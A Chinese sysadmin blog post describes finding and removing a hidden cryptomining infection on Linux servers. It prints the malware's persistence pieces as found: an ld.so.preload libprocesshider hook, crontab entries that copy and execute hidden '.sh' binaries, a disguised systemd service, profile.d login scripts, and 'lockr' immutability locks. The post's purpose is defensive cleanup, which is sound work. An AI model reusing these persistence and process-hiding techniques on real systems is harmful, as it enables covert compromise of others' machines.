linux隐藏病毒处理(top查询us占用70%左右,却没有CPU高使用的进程)

    突然有人反应说客户服务器使用有点卡,虽然是客户的服务器,里应当客户**自己处理的,可是项目还没完成,只有猥琐发育,自己搞定呗,客户是大哥啊。于是乎,立马使用常规操作,登陆服务器查看资源使用情况,发现服务器的CPU的us值在70%左右,然而并没有找到相关的CPU使用很高的进程,慌得一批,口吐芬芳。。。

 

问题分析:

    1、首先排除应用程序问题,因为服务器的使用人数并不多,不可能有这么高的负载,而且如果是应用程序问题,肯定会显示出CPU高使用的应用进程

    2、后排除CPU硬件故障,因为这个项目的几台服务器全都是这样的,而且这几台服务器全都是新上的几台服务器

    3、怀疑内核版本问题,因为有人遇到过这种问题,果断拿一台做实验,升级内核版本,重启,然而并没有搞定

    4、最后只有锁定病毒方面的问题,可是并没有显示高消耗的进程,应该是病毒将一些系统命令做了更改,无从着手的感觉,于是乎,百度。。。果然找到一个相同的问题:https://www.zhihu.com/question/59820313,终于可以确定最终的原因,病毒。。。

 

病毒处理常规步骤(之前一直这样处理的):

    1、病毒进程查询

    2、定时任务清理

    3、自启动清理

    4、服务清理

    5、kill进程

 

病毒进程查询:

因为病毒是个隐藏的病毒,top没办法找到进程,通过参考https://www.zhihu.com/question/59820313这篇问答,找出病毒程序

首先查询是否有这个连接:netstat -anp

结果显示:tcp        0      0 x.x.x.x:33708       91.121.140.167:3333     ESTABLISHED -

    连接IP是91.121.140.167,进程名为“-”,确认为病毒程序

查询文件:cat /etc/ld.so.preload

    内容为:/usr/local/lib/libprocesshider.so

因此,需要删除/usr/local/lib/libprocesshider.so,清理/etc/ld.so.preload

    清理文件时遇到报错Operation not permitted,因为文件被赋予了“i”权限,lsattr可以查看文件权限,可是查看权限时,报错没有lsattr命令,系统本身自带了的,估计是病毒将命令改了,重新下载软件包(e2fsprogs)安装就是

    查看文件权限:lsattr /usr/local/lib/libprocesshider.so   

         

    chattr更改权限,任然报错没有chattr,心态爆炸。。。

    后面查看定时任务时,发现用的lockr +i授权,借此配置权限,lockr -i /usr/local/lib/libprocesshider.so之后即可删除文件

清理文件后,top即可看到搞事情的病毒进程命“.sh”

 

病毒清理:

定时任务清理:

    查询cron.d、cron.hourly、crontab目录或文件的异常

    /etc/cron.d/phps文件异常,内容*/10 * * * * root /sbin/httpss,直接删除/etc/cron.d/phps、/sbin/httpss

lockr -i /etc/cron.d/phps
rm -rf /etc/cron.d/phps
lockr -i /sbin/https
rm -rf /sbin/https

    /etc/crontab内容异常,清理异常任务

* * * * * root  cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c  >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null
* * * * * root  echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1

 

服务清理及自启动清理:

    /etc/rc.d/init.d/目录下异常文件删除:rm -rf selinux DbSecuritySpt

   清理文件异常内容:/etc/rc.d/rc.local

    /lib/systemd/system发现异常服务文件:vim pwnriglhttps.service

[Unit]
Description=.sh

Wants=network.target
After=syslog.target network-online.target

[Service]
Type=forking
ExecStart=/bin/bash -c 'cp -f -r -- /bin/.funzip /bin/.sh 2>/dev/null && /bin/.sh -c  >/dev/null 2>&1 && rm -rf -- /bin/.sh 2>/dev/null'
Restart=always
KillMode=process

[Install]
WantedBy=multi-user.target

    关闭pwnriglhttps.service服务:systemctl stop pwnriglhttps.service

                                                     systemctl disable pwnriglhttps.service

    删除文件:rm -rf pwnriglhttps.service

    top或者ps查询进程ID,kill进程,top查看资源使用恢复正常

    最后删除病毒文件:

rm -rf /usr/bin/.sh
rm -rf /bin/.sh
lockr -i /bin/.funzip
rm -rf /bin/.funzip

    到此理应清理完毕,重启系统,发现资源使用正常,然而ssh远程登陆服务器后,病毒任然运行。。。

 

ssh登陆清理:

    查询/etc/profile文件

    linux隐藏病毒处理(top查询us占用70%左右,却没有CPU高使用的进程)_第1张图片

    发现目录/etc/profile.d/下出现异常文件:php.sh、supervisor.sh

    查看内容:vim php.sh

#!/bin/bash
cp -f -r -- /bin/shh /bin/.sh 2>/dev/null
/bin/.sh -c  >/dev/null 2>&1
rm -rf -- .sh 2>/dev/null

    vim supervisor.sh

#!/bin/bash
supervisord -c /etc/.supervisor/supervisord.conf >/dev/null 2>&1
supervisorctl reload >/dev/null 2>&1

    /etc/.supervisor/supervisord.conf引用/etc/.supervisor/conf.d/123.conf

    删除php.sh、supervisor.sh、/etc/.supervisor/conf.d/123.conf、/etc/.supervisor/supervisord.conf

lockr -i php.sh supervisor.sh
rm php.sh supervisor.sh
lockr -i /etc/.supervisor/conf.d/123.conf /etc/.supervisor/supervisord.conf
rm /etc/.supervisor/conf.d/123.conf /etc/.supervisor/supervisord.conf

    最后再次kill进程,删除.sh文件

find / -name .sh
rm /etc/.sh /usr/bin/.sh

重启服务器,测试ssh登陆服务器,资源使用正常,病毒处理完成

 

总结:

病毒处理大概思路:病毒进程名查看、定时任务查看、开启启动目录查看、服务目录查看、用户登陆配置文件查看等,一般都是修改这些文件来达到入侵目的,还有系统命令的修改

如今病毒隐藏愈来愈深,愈来愈搞事情,所以建议从预防开始,注重病毒预防,中毒难受,严重导致数据丢失,无解。。。

 

-----------日常记录---------------

你可能感兴趣的:(linux通用)